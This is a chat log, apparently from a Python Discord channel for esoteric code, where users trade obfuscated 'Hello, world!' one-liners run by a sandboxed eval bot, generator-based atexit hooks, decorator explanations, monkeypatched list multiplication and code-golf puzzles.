eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__add__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))))))("Hello, world!"))})().E()```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello, world!
unique heath
#

!e

(__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)))))))(__builtins__.type(__builtins__.list.__call__()).__getitem__(__builtins__.type(__builtins__.list.__call__()).__call__(__builtins__.type(__builtins__.tuple.__call__()).__add__((j:=(((-~int().__add__(-~int())).__pow__(int())),((-~int().__add__(-~int())).__pow__(int()).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()))))),(((-~int().__add__(-~int())).__pow__(-~int())).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()).__add__(-~int()))))))),__builtins__.type(__builtins__.tuple.__call__()).__getitem__(j,__builtins__.type(__builtins__.slice.__call__(None,None,None)).__call__(None,None,~-int())))),__builtins__.slice.__call__(-~int(),None,-~(-~int())))))})().E())```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

[5, 10, 1]
unique heath
#

thats better

#

stupid version of

seq = [1, 5, 10, 10, 5, 1]
print(seq[1::2])
print(seq.__getitem__(slice(1, None, 2)))```
#

also that's exactly 1991 chars, so just enough chars to slap it in a code block and !e

last locust
night quarryBOT
#

@last locust :white_check_mark: Your 3.11 eval job has completed with return code 0.

3.11.4 (main, Aug 29 2023, 19:23:35) [GCC 8.3.0]
last locust
#

3.11.4, not 3.11.5

distant salmon
versed eagle
#

that is funny

oak horizon
#

I dunno where else to go.
Anyone here have a good experience installing python 3.11 on Raspbian/bullseye ?
That they are willing to share?

finite blaze
ivory niche
#

idk what category so imma put here

#

any tips on how to make this more usuable and for not a specific use case?

class Result:
    def __init__(self, 
                 success: bool, 
                 message: str|None = None,
                 value = None,
                 full_error: str|None = None,
                 full_value_for_debugging: str|None = None
                ) -> None:
        
        self.success = success
        self.message = message
        self.value = value
        self.full_error = full_error
        self.full_value_for_debugging = full_value_for_

#

because ugly af and confusing
looking for something like rust's Result

earnest snow
# ivory niche any tips on how to make this more usuable and for not a specific use case? ```py...

should try


from functools import reduce
R='R_initesul'
globals()[R[0]+R[6]+R[7]+R[8]+R[9]+R[5]] = type(R[0]+R[6]+R[7]+R[8]+R[9]+R[5], (object,), {
    (R[1]*2+reduce(lambda a, b:a + b, R[2:6])+R[1]*2):lambda self, sc,msg=None,vle=None,fe=None,fvfb=None:[setattr(a,b) for (a,b) in zip(["success", "message", "value", "full_error","full_value_for_debugging"], [sc, msg, vle, fe, fvfb])]
})

note here I assumed it is being executed in the main module, else, you should use locals()

versed eagle
earnest snow
# ivory niche any tips on how to make this more usuable and for not a specific use case? ```py...

ok now for real, you could use a decorator to wrap the results of a function over your result class and use __getattr__ and __setattr__ to emulate the original object's behaviour, if you want to go further with it you could create every class based on a template which it's upper type is the type of the returning value of the function such that it passes the isinstance checks on other functions for type safety

#

idk if it's worth reaching that extent though

#

also, full_error shouldnt track either the exception or the traceback rather than a string? well, it's your code but python's errors can be stored and saved as Exception objects, and the traceback from the main call to the source of the error can be stored as well as a Traceback. (check the python lib with that name)

floral meteor
#

Alright I have been gone for a while

#

what cursed new discoveries have been made in the last year?

versed eagle
#

you're back

floral meteor
#

muaahahahahaha

rugged sparrow
#

were you still here when i found a way to implement atexit via generators?

floral meteor
#

!e only thing I really have at the moment is the ultimate help text ```py
import sys
sys.stdin=type("alwaysnewline",(),{'encoding':'utf-8','readline':lambda s,*whatever:'\n'})()
help("..")

night quarryBOT
#

@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | Help on built-in module builtins in .:
002 | 
003 | NAME
004 |     builtins - Built-in functions, types, exceptions, and other objects.
005 | 
006 | DESCRIPTION
007 |     This module provides direct access to all 'built-in'
008 |     identifiers of Python; for example, builtins.len is
009 |     the full name for the built-in function len().
010 |     
011 |     This module is not normally accessed explicitly by most
... (truncated - too many lines)

Full output: unable to upload

floral meteor
#

well it is too chonky

#

but it is the help on literally every builtin error, function and variable

rugged sparrow
#

!e ```py
def atexit(func, _store=[]):
def gen():
try:yield
finally:func()
_store.append(g:=gen())
next(g)

@atexit
def foo():
print('i run when the program exits')

print('i run first')

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | i run first
002 | i run when the program exits
floral meteor
#

that looks deliciously cursed

#

I think my method was a bit more crude, by hooking onto the deletion of a random object

#

if something gets deleted, my program assumes the program is exiting, so it runs my atexit

#

of course, I reference the object somewhere so it doesn't get trash collected

versed eagle
floral meteor
#

I think I see how it runs

night quarryBOT
#
Missing required argument

code

#
Command Help

!eval [python_version] <code, ...>
Can also use: e

Run Python code and get the results.

This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.

If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.

Currently only 3.11 version is supported.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!

rugged sparrow
floral meteor
#

!e I still stand by getting the trash collector to do the work ```py
def atexit(funky):
globals()['0'] = type('bye',(),{'del':lambda*_:funky()})()
return funky

@atexit
def tootles(): print("goodbye world muahahahaha")

print("hello world")

night quarryBOT
#

@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | hello world
002 | goodbye world muahahahaha
rugged sparrow
#

just in a more obscure way (and without defining a custom type)

floral meteor
#

I see. most excellent

#

can an exit be intercepted and cancelled?

rugged sparrow
#

not with this strategy

floral meteor
#

stuff()
exit()
forbidden_code()

#

that sort of structure

#

but without making exit not work

#

anyway, the ultimate help function, just do help("..")

unique heath
#

funky

floral meteor
#

all my IT work is funky

#

I made a 4-dimensional 2048 game solver run at about 400 moves per second

#

reaches the ~2M tile in about 1 minute 40 seconds

#

In order to achieve that, I had to only print the board every 10 moves, due to how long it takes to print text

#

or maybe it's due to the assembling of the huge string I'm printing

ivory niche
#

Where did you guys learn this?

floral meteor
#

here

ivory niche
#

dang

#

teach me pls

#

I don't know enough about @ methods

#

I know @terse totem

floral meteor
#

you just pinged someone lol

ivory niche
#

rip

floral meteor
#

a function is an object

#

a function of a function is a wrapper

ivory niche
floral meteor
#

@this
def that(): stuff

is the same as

def that(): stuff
that = this(that)

ivory niche
#

just wanna visualize

@this
def that(): 
    ...




def that(): 
   ...

that == this(that)
#

like that?

floral meteor
#

affirmative

ivory niche
#

what

#

Oh wait

#

i get it

#

that = this(that) is not actual code its an explanation

floral meteor
#

it's the alternative code

ivory niche
#

!e ```py
@this
def that():
...

def that():
...

that == this(that)

night quarryBOT
#

@ivory niche :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 1, in <module>
003 |     @this
004 |      ^^^^
005 | NameError: name 'this' is not defined
ivory niche
#

oh obviously

floral meteor
#

they don't go in the same code

#

and only one equals

#

you are not comparing them

ivory niche
#

im lost then

floral meteor
#

you are redefining that to this(that)

ivory niche
#

why?

floral meteor
#

because you are calling this with that as an argument

#

in order to modify that

ivory niche
#

But why reassign to same variable name

floral meteor
#

because you don't want a new variable, you want the function name to remain the same

ivory niche
#

oh i think i get it

floral meteor
#

because the unmodified function is inconsequential

#

it is the modified function that you want to assign to the name of the function

#

hence the wrapper modifies the function by taking it as an argument and assigning the output back to the function name

ivory niche
#

So its simply overriding a function, and replacing it with the func inside the method

floral meteor
#

!e ```py

@print
@lambda c:c._
class c:_="Hello World!"

night quarryBOT
#

@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello World!
floral meteor
#

you can have multiple wrappers

ivory niche
#

could you give me a real use case example?

unique heath
ivory niche
#

and thanks

floral meteor
#

!e sure ```py

def atexit(func, _=[]):
def gen():
try:yield
finally:func()
_.append(g:=gen())
next(g)

@atexit
def on_exit():
print("everything ran smoothly")

print("running stuff")

night quarryBOT
#

@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | running stuff
002 | everything ran smoothly
ivory niche
floral meteor
#

this is the server for nerds

#

#general already is for nerds

unique heath
#

its pydis now

ivory niche
#

when is atexit(on_exit) called?

#

Too many channels can find any lol

floral meteor
unique heath
#

!e this is for dumb shit like

eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__add__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))))))("Hello, world!"))})().E()```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello, world!
ivory niche
#

Oh

floral meteor
#

@atexit runs just after the function is defined

floral meteor
ivory niche
floral meteor
#

atexit then moves the function object into a generator, replacing its spot in the namespace with None

#

then when the trash collector attempts to delete the generator, it raises GeneratorExit so it reaches the finally block and executes the function

ivory niche
#

I see

#

So when @atexit def on_exit():... it does atexit(on_exit)

floral meteor
#

yes

ivory niche
#

which appends gen() to _, as well as set g to the output

#

Then you can. next on g, but g is not an interable, so wouldnt it return an error?

#

or does the try finally impact the already returned value?

floral meteor
#

g is an iterable, because it has a yield statement

ivory niche
#

oh yeah i rmember mb

floral meteor
#

so calling g returns the iterable, calling next gets the yield

#

then the generator is stuck at the yield which is inside try

#

hence generator exit will trigger the finally

ivory niche
floral meteor
#

nope. it yields None, to nowhere

#

so nothing happens at first

#

the action is on exit

ivory niche
#

oh, so it gets the next element in _, (containing yield)

#

but wont it give indexerror?

#

the try wouldn't work because it has already returned, right?

floral meteor
#

no _ just stores things

#

it is never indexed

ivory niche
#

oh sorry i forgor

floral meteor
#

it is to store the generator

#

inside the function

#

so that it doesn't get immediately deleted

ivory niche
#

next gets the next thing in g so its the next object in the yield. the yeild contains only one None, so would that work?

floral meteor
#

it only needs one none

#

it calls next once, which yields none

#

then the generator is waiting at that line of code for the next next

#

which never comes

versed eagle
#

the next next

#

thats a funny sentence

unique heath
unique heath
ivory niche
#

Or you can just make a regex match for matching all jnderscore variables and replace them inside {}, then just print it lmao

earnest snow
# ivory niche could you give me a real use case example?

a good example would be something simple like:

def print_function(func):
    # since we want to return a function, let's define a function inside here
    def replace(*a,**kargs): # we dont now the arguments being passed to the original
        print(func.__name__ + '() is being called') # print the function name
        return func(*a,**kargs) # call the original function with it's original arguments
    return replace

@print_function
def example1(a,b):
    print(a + b)

@print_function
def example2(a):
    print("this is a:", a)
# when called either of this function a message of example1() is being called or example2() is being called will be printed just before the function execution
#

since we're in esoteric python just give me some time and I'm gonna make this unreadable to any human

#

a little more esoteric

import sys

def print_function(func):
    return lambda *a,**kargs: [sys.stdout.write(func.__name__ + '() is being called\n'), func(*a,**kargs)][1]

@print_function
def example1(a,b):
    # I decided for this one to stay like this 
    print(a + b)

example2 = print_function(lambda a:sys.stdout.write("this is A: " + str(a)))
example1(2,3)
digital mesa
#
def class_(f):
    return type(f"{f}", (), {"__init__": f})
@class_
def Point(self, x: int, y: int):
    self.x = x
    self.y = y

p = Point(2, 3)
print(p.x, p.y)

😈

#

can probably improve the repr of Point but oh well

pearl socket
#

2013 javascript be like

unique heath
#

pythonfuck

earnest snow
# digital mesa ```py def class_(f): return type(f"{f}", (), {"__init__": f}) @class_ def Po...

just improved it to add methods:

def class_(f):
    return type(f.__name__, (declare,), {"__init__":f})
class declare(object):
    def __init_subclass__(cls) -> None:
        og_init=cls.__init__
        cls.__init__ = lambda *a, **k: (declare.__init__(a[0],cls) or og_init(*a, **k))        
    def __init__(self, tp):
        self.tp = tp
    @classmethod
    def decl(cls,func):
        setattr(cls, func.__name__, func)

@class_
def Point(self, x: int, y: int):
    self.x = x
    self.y = y

@Point.decl
def setx(self, x):
    self.x = x

p = Point(2, 3)
print(p.x, p.y)
p.setx(1)
print(p.x, p.y)
#

actually, this would be better

#
declare = type('declare', (object, ), {"decl":classmethod(lambda cls, func: (setattr(cls, func.__name__, func)))})
def class_(f):
    return type(f.__name__, (declare,), {"__init__":f})

@class_
def Point(self, x: int, y: int):
    self.x = x
    self.y = y

@Point.decl
def setx(self, x):
    self.x = x

p = Point(2, 3)
print(p.x, p.y)
p.setx(1)
print(p.x, p.y)
#

as it isnt needed the tp property to scale and to access the class, but type(self) can be used (or self.__class__)

finite blaze
#

Hey, I have a small golfing challange for you

from enum import Enum

class UnitType(Enum):
    HERO = 1
    COURIER = 2
    SCOUT = 3
    COLLECTOR = 4

class Unit:
    def __init__(self, unitType):
        self.unitType = unitType

unit = Unit(UnitType.HERO)

units = [Unit(UnitType.SCOUT), Unit(UnitType.COURIER), Unit(UnitType.COURIER)]

targetUnits = [UnitType.HERO, UnitType.HERO, UnitType.COURIER, UnitType.COLLECTOR]

def main():

Basically u need to change Unit.unitType of units so that it matches targetUnits (order doesn't matter). If there isn't enough units in units then you need to them. If there is too many units don't do anythin about it.

versed eagle
#

what does that mean

finite blaze
#

so in the example above, at the end if you would print units it should look like this

for u in units:
    print(u.unitType)

> UnitType.HERO
> UnitType.COURIER
> UnitType.HERO
> UnitType.COLLECTOR
#

@versed eagle

gleaming linden
#

Is UnitType and Unit already defined?

versed eagle
finite blaze
#

and units holds Unit objects

versed eagle
#

map

finite blaze
gleaming linden
#
*units,=map(Unit,UnitType)
``` this maybe?
#

I don't get what you want tbh

finite blaze
versed eagle
#

*units,=map(Unit,targetUnits) i think

gleaming linden
#

Maybe an example of ungolfed code would help?

versed eagle
#

but i think that's what you wanted

finite blaze
gleaming linden
finite blaze
versed eagle
#

yeah

finite blaze
#

what if Unit would contain one more variable, like level = someRandomInt

versed eagle
finite blaze
#

and it cant be changed

finite blaze
gleaming linden
finite blaze
#
class Unit:
    def __init__(self, unitType):
        self.unitType = unitType
        self.level = Random.Range(1,100)
versed eagle
#

oh do you want us to edit the unit objects in place?

finite blaze
#

yep

gleaming linden
#
for a,b in zip(units,targetUnits):a.unitType=b
versed eagle
#

*map(setattr,units,["unitType"]*1e9,targetUnits),

#

oh you got to it first

gleaming linden
#
*map(setattr,units,["unitType"]*1e9,targetUnits),
for a,b in zip(units,targetUnits):a.unitType=b
``` mine is shorter
versed eagle
#

nvm

#

*mhm

#

autocorrect 😭

finite blaze
#

*1e9?

versed eagle
#

yes

gleaming linden
#

1e9 is also a float, which won't work iirc

versed eagle
# versed eagle yes

don't question it, and don't write a test case with more than 1e9 thingies

gleaming linden
#

!e [1]*1e2

night quarryBOT
#

@gleaming linden :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 1, in <module>
003 |     [1]*1e2
004 |     ~~~^~~~
005 | TypeError: can't multiply sequence by non-int of type 'float'
gleaming linden
#

yup

versed eagle
#

really?

#

wow

#

that's surprising

#

oh well

#

9**9 then

earnest snow
# versed eagle `*map(setattr,units,["unitType"]*1e9,targetUnits),`

maybe not shorter but a cleaner way to do that would be to use cycle from itertools instead of such a big array of 'unitType', so it would be

from itertools import cycle
*map(setattr, units, cycle(['unitType']), targetUnits)

and as for memory usage, is much better than [x]*(9**9) as, even though python has optimizations on that, according to sys.getsizeof() such an array would occupy ~3099363968 bytes or ~2955.78mb
so I rather use cycle than list multiplication

versed eagle
#

mhm

#

list mul also fails if you have more units than 9**9

#

but its a cheap (shorter than some other solutions; cheaper in bytes) way to pass most testcases for things, since usually people dont test for absurdly big lists

low lynx
#

if you're gonna use itertools then just use repeat

fleet bridge
#

!e print([1]*1e1)

night quarryBOT
#

@fleet bridge :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 1, in <module>
003 |     print([1]*1e1)
004 |           ~~~^~~~
005 | TypeError: can't multiply sequence by non-int of type 'float'
fleet bridge
#

1e9 is a float, so you cant multiply list by that

#

Oh, you already mentioned that, my bad

#

I guess reading chat from bottom to top is not good

versed eagle
distant salmon
#

Poll:
A * -1 should reverse the list

distant salmon
#

A * 1e100 should be allowed

#

A * 0.5 should cut the list in half (meaning A[:len(A)//2])

#

Vote ✅ if you agree, and incident_unactioned if you disagree

rugged sparrow
#

!e why vote when I can implement it? ```py
from fishhook import hook, orig

@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
if repeat:
header = self * repeat
else:
header = []
return (header + self[:round(len(self)*slc)])[::-1 if isneg else 1]

A = [*range(4)]
print(A * -1)
print(A * 1e1)
print(A * .5)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | [3, 2, 1, 0]
002 | [0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3]
003 | [0, 1]
rugged sparrow
#

!e ```py
from fishhook import hook, orig

@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
if repeat:
header = self * repeat
else:
header = []
return (header + self[:round(len(self)*slc)])[::-1 if isneg else 1]

A = [*range(4)]
print(A * -3.5)

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

[1, 0, 3, 2, 1, 0, 3, 2, 1, 0, 3, 2, 1, 0]
rugged sparrow
#

@distant salmon ^ sample implementation

#

!e a bit more concise ```py
from fishhook import hook, orig

@hook(list)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
return (self * repeat + self[:round(len(self)*slc)])[::-1 if isneg else 1]

A = [*range(10)]
print(A * .5)

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

[0, 1, 2, 3, 4]
fleet bridge
#

W*0.5==V

rugged sparrow
#

hmm

#

i wonder how i could implement that in a reasonably neat way

versed eagle
#

*all nonlazy ordered iterables

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | ab
002 | (3, 2, 1)
rugged sparrow
# versed eagle as long as all of these apply to strings also

!e ```py
from fishhook import hook, orig

@hook(list | str | tuple | bytes | bytearray)
def mul(self, arg):
if arg >= 0 and isinstance(arg, int):
return orig(self, arg)
arg = float(arg)
repeat = abs(int(arg))
isneg = arg < 0
slc = abs(arg) % 1
return (self * repeat + self[:round(len(self)*slc)])[::-1 if isneg else 1]

A = 'abcd'
print(A * .5)
B = (1,2,3)
print(B * -1)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | ab
002 | (3, 2, 1)
versed eagle
#

yay

#

now just the rest of the stdlib nonlazy ordered iterables are needed :P

rugged sparrow
#

just add them into the @hook

versed eagle
#

there's so many though

#

😭

fleet lintel
#

On more thinking, that doesn't make sense

digital mesa
#

list is a subclass of Sequence, but it defines its own getitem right? so it doesn't matter if you hook into Sequence

#

or does issubclass not represent actual inheritance?

versed eagle
#

!e ```py
print(list.bases)

night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

(<class 'object'>,)
digital mesa
#

!e

from collections.abc import Sequence
print(issubclass(list, Sequence))
night quarryBOT
#

@digital mesa :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
digital mesa
versed eagle
#

Return True if class is a subclass (direct, indirect, or virtual) of classinfo. A class is considered a subclass of itself. classinfo may be a tuple of class objects (or recursively, other such tuples) or a Union Type, in which case return True if class is a subclass of any entry in classinfo. In any other case, a TypeError exception is raised.

#

issubclass

#

the word virtual in the first sentence links to this

Abstract base classes complement duck-typing by providing a way to define interfaces when other techniques like hasattr() would be clumsy or subtly wrong (for example with magic methods). ABCs introduce virtual subclasses, which are classes that don’t inherit from a class but are still recognized by isinstance() and issubclass(); see the abc module documentation. Python comes with many built-in ABCs for data structures (in the collections.abc module), numbers (in the numbers module), streams (in the io module), import finders and loaders (in the importlib.abc module). You can create your own ABCs with the abc module.

versed eagle
digital mesa
#

smh

versed eagle
#

ugh python is annoying sometimes

#

its a nice language but it tries to be too smart sometimes

fleet lintel
#

It's nice when you don't have to care about this and just want to use Sequence for it's intended use. And then this happens :)

versed eagle
#

what is the intended use of Sequence?

#

jokes on you, you cant use it

#

it can't be instantiated

#

its basically a sentinal

fleet lintel
#

It's nice for type hinting. Since python doesn't have a nice way of specifying the size of a sequence of values, especially with numpy. So both in pygame, and in the code I wrote for this Code Jam, I use the type hint x: tuple[int, int] | Sequence[int] for saying the data should be this shape, but it works with any sequence of length 2 of ints, but I can't write that explicitly.

versed eagle
#

for typehinting

#

and what use does that have, beyond populating __annotations__ with values?

fleet lintel
#

Do you mean type hinting in general, or that sort of type hinting? Also, I'm not clear on the exact details but I think you can get some sort of benefit by inheriting from Sequence.

versed eagle
#

either

astral rover
#

you cant get sequence pattern matching without inheriting from Sequence (sorta)

fleet lintel
#

For type hinting in general, it's always nice to know what types a function is expecting, even if it isn't enforced. For this specifically, if I just used tuple[int, int] while the code would work if I passed in other 2 long sequences, my IDE would complain and MyPy would stop it entirely. The alternative would be writing something like tuple[int, int] | list[int, int] | npt.NDArray[int] | pygame.Vec2 which is just way too bulky, and I could still forget valid 2 int container classes.

versed eagle
#

For type hinting in general, it's always nice to know what types a function is expecting, even if it isn't enforced.
you can get the same thing by reading documentation

#

or the source of the function itself

#

come to think of it, wouldnt you have to read the function's source anyway to see the typehints

#

or use runtime stuff (such as __annotations__), at which point you could have just tested the function directly

fleet lintel
#

This is getting more into language design or python design than actual esoteric python, but this is just what we have. I don't want to have to read the api reference or documentation or source code if I don't have to, and IDEs can use type hints to display that info to me in the code. It's just a standard. It's also the standard MyPy uses, which it can't do with just the source code.

versed eagle
#

idk what mypy is

#

but yeah i agree, the conversation has probably gone a bit beyond the scope of this channel lol

earnest snow
#

You could do a class which everything is an instance of It and a subclass of It and send It as argument to libraries, the isinstance checks are passed and then you get AttributeError ot whatever

versed eagle
#

you can make the attribute errors not happen also

velvet plank
#

!e ```py
def spark(text, *, dark=False): return '|' * (3 + (2 * len(text))) + '\n' + '|' * (len(text) - 1) + ('-' if dark else '+') + '\x20' + ('+' if dark else '-') + '\x20' + ('-' if dark else '+') + '|' * (len(text) - 1) + '\n' + '|' * ((len(text) - 1) // 2) + (('|' + ('-' if dark else '+')) if 2 == len(text) else '') + ('' if 2 == len(text) else '-\x20' if dark else '+\x20') + (text if 2 != len(text) else '\x20' * len(text)) + (('\x20' + ('-' if dark else '+') + '|') if 2 == len(text) else '\x20-' if dark else '\x20+') + '|' * ((len(text) - 1) // 2) + ('|' if 0x00 == len(text) % 2 else '') + '\n' + '|' * (len(text) - 1) + ('-' if dark else '+') + '\x20' + ('+' if dark else '-') + '\x20' + ('-' if dark else '+') + '|' * (len(text) - 1) + '\n' + '|' * (3 + (2 * len(text)))

print(spark('Hello, Esoteric World!'))

night quarryBOT
#

Attempt to circumvent filter detected. Moderator team has been alerted.

velvet plank
#

how am I trying to circumvent it

fleet bridge
#

!e print('```')

night quarryBOT
#

@fleet bridge :warning: Your 3.11 eval job has completed with return code 0.

[No output]
fleet bridge
#

Huh

#

If you do that, but without using literal `, you should get that warning

dreamy pier
#

!e ```py
print(chr(96) * 3)

night quarryBOT
dreamy pier
fleet bridge
#

Indeed

#

Interesting

unique heath
#

someone make PR to escape `s

earnest snow
#

or actually a class like SeparateAttributes such as

class A(SeparateAttributes):
    def __init__(self, x):
        self.x = x
    def get_x(self):
        return self.x

class B(A):
    def foo(self):
        x = self.get_x() # correct
        x = self.x # AttributeError
        return x

that would be fine. ¿you understand what I mean? a class that automatically wraps all the methods defined in it so that self is not itself but an instance of whatever with the attributes of the instance that come strictly from that class and the addup of the methods of the class
that's a huge fun pain ¿isn't it?

#

also a consecuence of that is that each class would have diferent attributes instances for each attribute

#

like

#
class A(SeparateAttributes):
    def __init__(self, x):
        self.x = x
    def get_x(self):
        return self.x

class B(A):
    def foo(self):
        self.x = 3
        x = self.get_x() # correct
        return x

a = B(1) # A.x = 1
print(a.foo())  # 1
print(a.x)      # 3
#

how would that be implemented?

versed eagle
#

probably the most accurate way would be by analysing the bytecode
though you could make naive implementations that mostly work just by comparing the attributes of the class to the attributes of the instance

sick hound
#
*a,=map(chr,range(97,123))

for i in a:
    if {i}&"hello": #i in "hello"
        print("hi")```
why this doesnt works
i just saw something similar in
versed eagle
#
if i in"helo":
sick hound
versed eagle
#

strings aren't sets

orchid nymph
#
if i in"helo":
if{i}&{*"helo"}:

if i not in"helo":
if{i}-{*"helo"}:
sick hound
#

thanks man you are the goat

stark granite
#

i hope it works well enough

#
def print_fields(obj: object) -> None:
    IS_PROB_A_FIELD: list[type] = [int, float, str, bool]
    for name, attr in obj.__dict__.items():
        # if not a function
        if not hasattr(attr, '__call__'):
            print(f"{obj.__class__.__name__} - {name} ({attr.__class__.__name__}) - {attr}")

        # if a class
        if attr.__class__ not in IS_PROB_A_FIELD:
            print_fields(attr)
earnest snow
stark granite
#

what is the difference between functiontype and checking for call btw

earnest snow
#

!e

class A:
    def a(self): pass
    def __init__(self, x):
        self.x = x

print(A.__dict__)
print(A(1).__dict__)
night quarryBOT
#

@earnest snow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | {'__module__': '__main__', 'a': <function A.a at 0x7fd2b2a93e20>, '__init__': <function A.__init__ at 0x7fd2b2b05940>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}
002 | {'x': 1}
earnest snow
stark granite
